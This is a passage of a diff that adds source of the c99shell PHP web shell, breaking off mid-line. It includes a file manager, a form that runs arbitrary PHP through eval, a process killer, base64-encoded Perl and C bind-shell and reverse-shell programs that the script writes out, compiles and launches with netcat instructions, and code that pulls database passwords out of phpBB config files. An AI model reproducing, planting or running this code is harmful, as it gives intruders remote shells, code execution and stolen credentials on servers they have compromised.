$row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" id=\"ls_dir[]\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + if (($o == ".") or ($o == "..")) {$tab[head][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["dirs"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + } + } + //Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["dirs"],$tab["links"],$tab["files"]); + echo "<center><b>Listing directory (".count($tab["files"])." files and ".(count($tab["dirs"])+count($tab["links"]))." directories):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#333333 border=0><form method=\"POST\">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"><b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=\"submit\" name=\"actarcbuff\" value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"submit\" name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=\"act\"><option value=\"".$act."\">With selected:</option>"; + echo "<option value=\"delete\"".gchds($dspact,"delete"," selected").">Delete</option>"; + echo "<option value=\"chmod\"".gchds($dspact,"chmod"," selected").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=\"cut\"".gchds($dspact,"cut"," selected").">Cut</option>"; + echo "<option value=\"copy\"".gchds($dspact,"copy"," selected").">Copy</option>"; + echo "<option value=\"unselect\"".gchds($dspact,"unselect"," selected").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "bind") +{ + $bndsrcs = array( +"c99sh_bindport.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQppZiAoQEFSR1YgPCAxKSB7ZXhpdCgxKTt9DQokcG9ydCA9ICRBUkdW". +"WzBdOw0KZXhpdCBpZiBmb3JrOw0KJDAgPSAidXBkYXRlZGIiIC4gIiAiIHgxMDA7DQokU0lHe0NI". +"TER9ID0gJ0lHTk9SRSc7DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsIFBGX0lORVQsIFNPQ0tfU1RS". +"RUFNLCAwKTsNCnNldHNvY2tvcHQoUywgU09MX1NPQ0tFVCwgU09fUkVVU0VBRERSLCAxKTsNCmJp". +"bmQoUywgc29ja2FkZHJfaW4oJHBvcnQsIElOQUREUl9BTlkpKTsNCmxpc3RlbihTLCA1MCk7DQph". +"Y2NlcHQoWCxTKTsNCm9wZW4gU1RESU4sICI8JlgiOw0Kb3BlbiBTVERPVVQsICI+JlgiOw0Kb3Bl". +"biBTVERFUlIsICI+JlgiOw0KZXhlYygiZWNobyBcIldlbGNvbWUgdG8gYzk5c2hlbGwhXHJcblxy". +"XG5cIiIpOw0Kd2hpbGUoMSkNCnsNCiBhY2NlcHQoWCwgUyk7DQogdW5sZXNzKGZvcmspDQogew0K". +"ICBvcGVuIFNURElOLCAiPCZYIjsNCiAgb3BlbiBTVERPVVQsICI+JlgiOw0KICBjbG9zZSBYOw0K". +"ICBleGVjKCIvYmluL3NoIik7DQogfQ0KIGNsb3NlIFg7DQp9", +"c99sh_bindport.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5". +"cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N". +"CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy". +"ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1". +"Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5f". +"ZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0p". +"KTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tm". +"ZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigi". +"c29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikmcmVtb3Rl". +"LCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1h". +"Y2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsN". +"CiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk7DQogICBy". +"ZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1Zikp". +"DQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byBjOTlzaGVsbCAmJiAvYmluL2Jhc2ggLWkiKTsN". +"CiAgIGVsc2UNCiAgIGZwcmludGYoc3RkZXJyLCJTb3JyeSIpOw0KICAgY2xvc2UobmV3ZmQpOw0K". +"ICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQg". +"aTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0g". +"J1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVy". +"ZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0K". +"fQ==", +"c99sh_backconn.pl"=> +"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJ". +"HN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZ". +"DsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJ". +"HRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0L". +"CAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgnd". +"GNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBka". +"WUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yO". +"iAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLR". +"VQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlK". +"FNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==", +"c99sh_backconn.c"=> +"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l". +"dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk". +"Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBk". +"YWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0g". +"aHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihh". +"cmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsy". +"XSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsg". +"DQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1". +"Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0". +"KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIo". +"ZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwi". +"c2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==" +); + $bndportsrcs = array( +"c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), +"c99sh_bindport.c"=>array("Using C","%path %port %pass") +); + $bcsrcs = array( +"c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), +"c99sh_backconn.c"=>array("Using C","%path %host %port") +); + if ($win) {echo "<b>Binding port and Back connect:</b><br>This functions not work in Windows!<br><br>";} + else + { + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + if (empty($bc["host"])) {$bc["host"] = $REMOTE_ADDR;} + if (!is_numeric($bc["port"])) {$bc["port"] = $bindport_port;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen($SERVER_ADDR,$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$bind["src"]; + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind["src"]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".$SERVER_ADDR.":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".$SERVER_ADDR." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=ps_aux&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $srcpath = $tmpdir.$bc["src"]; + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $binpath = $tmpdir.join(".",$w); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + else + { + $data = base64_decode($bndsrcs[$bind[src]]); + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".$bc["host"].":".$bc["port"]."...<br>"; + } + } + } + ?><b>Binding port:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">Port: <input type="text" name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type="text" name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php +foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bindsubmit" value="Bind"></form> +<b>Back connection:</b><br><form method="POST"><input type="hidden" name="act" value="bind"><input type="hidden" name="d" value="<?php echo $d; ?>">HOST: <input type="text" name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type="text" name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type="submit" name="bcsubmit" value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p &lt;port&gt;</b>"!<?php + } +} +if ($act == "ps_aux") +{ + echo "<b>Processes:</b><br>"; + if ($win) {echo "This function not work in Windows!<br><br>";} + else + { + if ($pid) + { + if (!$sig) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + $ret = posix_kill($pid,$sig); + if ($ret) {echo "ok. he is dead, amen.";} + else {echo "ERROR.";} + } + $ret = myshellexec("ps -aux"); + if (!$ret) {echo "Can't execute \"ps -aux\"!";} + else + { + $ret = htmlspecialchars($ret); + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;} + if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;} + $k = $ps_aux_sort[0]; + if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10,count($line))); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=\"green\">".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=ps_aux&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $head[] = "<b>ACTION</b>"; + $v = $ps_aux_sort[0]; + usort($prcs,"tabsort"); + if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $k) + { + echo "<tr>"; + foreach($k as $v) {echo "<td>".$v."</td>";} + + echo "</tr>"; + } + echo "</table>"; + } + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}} + echo "<form method=\"POST\"><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=\"green\">".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d.$f)); + if ($tmp["name"] == "") {echo fileowner($d.$f)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d.$f)); + if ($tmp["name"] == "") {echo filegroup($d.$f);} + else {echo $tmp['name'];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {exit;} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."act=cmd\" method=\"POST\"><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=\"hidden\" name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=\"submit\" name=\"submit\" value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("phpBB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; 